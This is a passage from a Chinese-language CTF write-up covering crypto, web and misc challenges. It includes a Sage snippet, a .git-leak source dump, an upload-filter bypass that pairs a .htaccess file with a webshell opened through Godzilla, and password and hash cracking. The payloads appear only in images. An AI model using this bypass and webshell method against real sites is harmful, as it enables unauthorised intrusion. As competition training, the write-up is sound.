121870392737324465817476070178603827899</span></span></code></pre></section><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1981230448383733" data-s="300,640" style="" data-type="png" data-w="959" src="https://wechat2rss.xlab.app/img-proxy/?k=d52016cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWnTN1sHR7qhhUVMpFel8wLnrDwBae4FDtUYc3v7oGcSot74Ngicu9ia9w%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">p= 339088189917874808463944743121467561531</span></code><code><span class="code-snippet_outer">a= 259086495324961642923203668736965982268</span></code><code><span class="code-snippet_outer">b= 121870392737324465817476070178603827899</span></code><code><span class="code-snippet_outer">c = 114514</span></code><code><span class="code-snippet_outer">e= int(2e8)</span></code><code><span class="code-snippet_outer">m = 10**10000</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">e1 = (a*c)/(b-c)</span></code><code><span class="code-snippet_outer">e2 = p/(b-1)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def f(n):</span></code><code><span class="code-snippet_outer">    t1 = RR(pow(b, n, m).lift())</span></code><code><span class="code-snippet_outer">    t2 = RR(pow(c, n, m).lift())</span></code><code><span class="code-snippet_outer">    return t1*(1+e1+e2)-e1*t2-e2</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(f(e))</span></code></pre></section><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p>最后将f(e)带入sol后算出md5，与加密结果异或得到flag</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.176" data-s="300,640" style="" data-type="png" data-w="625" src="https://wechat2rss.xlab.app/img-proxy/?k=7554a359&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWpl7p8sOA3Jy1f4opiavEMgBPffGcElRaMBm5c9If5uWexeM5ia8ZA27g%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="margin-top: 8px;margin-bottom: 8px;"><strong><span style="font-size: 24px;">0x4 Web</span></strong><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><strong><span style="font-size: 24px;">-923</span></strong></h1><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.473" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=815f7683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWfYPuvCGCTKVJVXHcSt9C9JQ7icjkHpo9q7egRpeYzmkHJgvxHvL5o5Q%2F640%3Fwx_fmt%3Dpng"/></p><p>有.git路径，所以有git泄露，拖源码</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.595137420718816" data-s="300,640" style="" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=56e22524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWiaREsLEiaFrtn5nkvggANgnr5e9gibMjm3XGxweYaiatD9pAhnB3Cbdz6Q%2F640%3Fwx_fmt%3Dpng"/></p><p>代码审计发现上传路径</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.33" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=1094434d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWfdG3iccJaic4YthYC5dexOwlL8M12twMunD9EUcPMH8NlyNricCWVLaYg%2F640%3Fwx_fmt%3Dpng"/></p><p>上传后，由时间戳重命名</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.257" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=f2d47f35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWW7WicWUM9SkXImOw7RYBibbahic3J8ZYSE0voulDpJrS38VboP3iax2Pow%2F640%3Fwx_fmt%3Dpng"/></p><p>发现有后缀过滤</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.204" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=6bf81b1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWdnT4bW4iaLnRyfIE4BB6ClncYxoYcII3df0aFQtMLqIyq6fVTvWNFTA%2F640%3Fwx_fmt%3Dpng"/></p><p>但htaccess过滤有问题，只过滤了.htaccess后缀的，所以可以上传.htaccess文件，且同时需要跟木马文件同一时间上传</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.527" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7730d1f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW8uEpR0ZGJW8vyrkpb9DtykwicH6L11AicrngA0jhu2ZmVwXPUCR9qR1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.508" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=f54e5d16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWlicTruVQo5RGFOIXI7iaw1xr77ApczR4ZBcEYK4aD3KTYlo4PSSWst2w%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p>成功解析</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.305" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=51f5b2a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW5v8WourtNM6MuT82QE693ncy72MXoVXdCQTnX4sSawicckv6h0m6GTw%2F640%3Fwx_fmt%3Dpng"/></p><p>哥斯拉连上，读取flag</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.905" data-s="300,640" style="" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=d65e6b78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW3pOm2MJxZDZM38WqCr4cJ4pXuEXMZsdsN45xYSnXQzbPzDzT7f0vIQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="margin-top: 8px;margin-bottom: 8px;"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><span style="font-size: 24px;"><strong>0x5 Misc-620</strong></span></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></h1><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4943820224719101" data-s="300,640" style="" data-type="png" data-w="712" src="https://wechat2rss.xlab.app/img-proxy/?k=380bf74b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWkHRnaibqtwibC8I23T5ibzWSHln0ibYXN85dwGuF4R64ic8t2SZ7cjXpjnw%2F640%3Fwx_fmt%3Dpng"/></p><p>爆破密码得到密码99114514</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.466" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=a5d33eaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWL5dhicP1bff8E7l91oG7dyy6yyxemTDHmVcibNibKYUtF8QvBaibt6tePQ%2F640%3Fwx_fmt%3Dpng"/></p><p>发现password，7EqufFnrSGk=</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.123" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=1b819cc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWBSshHib00L05LXtkqWE1siceEFCoWdfibRdNSp2Blg3wIMdjxicRPfloiaA%2F640%3Fwx_fmt%3Dpng"/></p><p>base64解密得，EC4AAE7C59EB4869</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.559" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7472f0b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhW9dICABntiaOcf08ueVuNYTicACafb8NUdTE4dKvqIOZaO0PyQlbcHzDg%2F640%3Fwx_fmt%3Dpng"/></p><p>尝试解MD5得，nmy0612</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.335" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=41071bf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWyT0icx6TNjvSVVGLF9mTtQ4Gfpp8s5j2np6zYYNfuN0ZZiabnmrZNbkw%2F640%3Fwx_fmt%3Dpng"/></p><p>得到flag文件</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.297" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=77124a6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWHz2fUITABMRjhLdZcZeVtxfpm6feEB801SwzI72Slbg9mIjzSvzDSQ%2F640%3Fwx_fmt%3Dpng"/></p><p>爆破编码得flag，flag{d2112923-78d6-4064-977c-b73297dc4491}</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.698" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=b7005133&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWN8U2umdUxWV7tPyTjcv3DdKVI7I09h3PDib1BlwkWCEibWDovexpDtyA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><h1 style="margin-top: 8px;margin-bottom: 8px;"><span style="font-size: 24px;"><strong>0x6 misc034</strong></span></h1><p>文件名字tHXcode （后面才知道是汉信码）</p><p>Hxd打开文件 发现有PNG的特征 把它补全</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.23821656050955414" data-s="300,640" style="" data-type="png" data-w="785" src="https://wechat2rss.xlab.app/img-proxy/?k=92ed6bf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWqT83CxdKKGmfzAHP6d7Zib0jasczBLujroCA8Swm47Ez2BXTWWUsfoA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2960235640648012" data-s="300,640" style="" data-type="png" data-w="679" 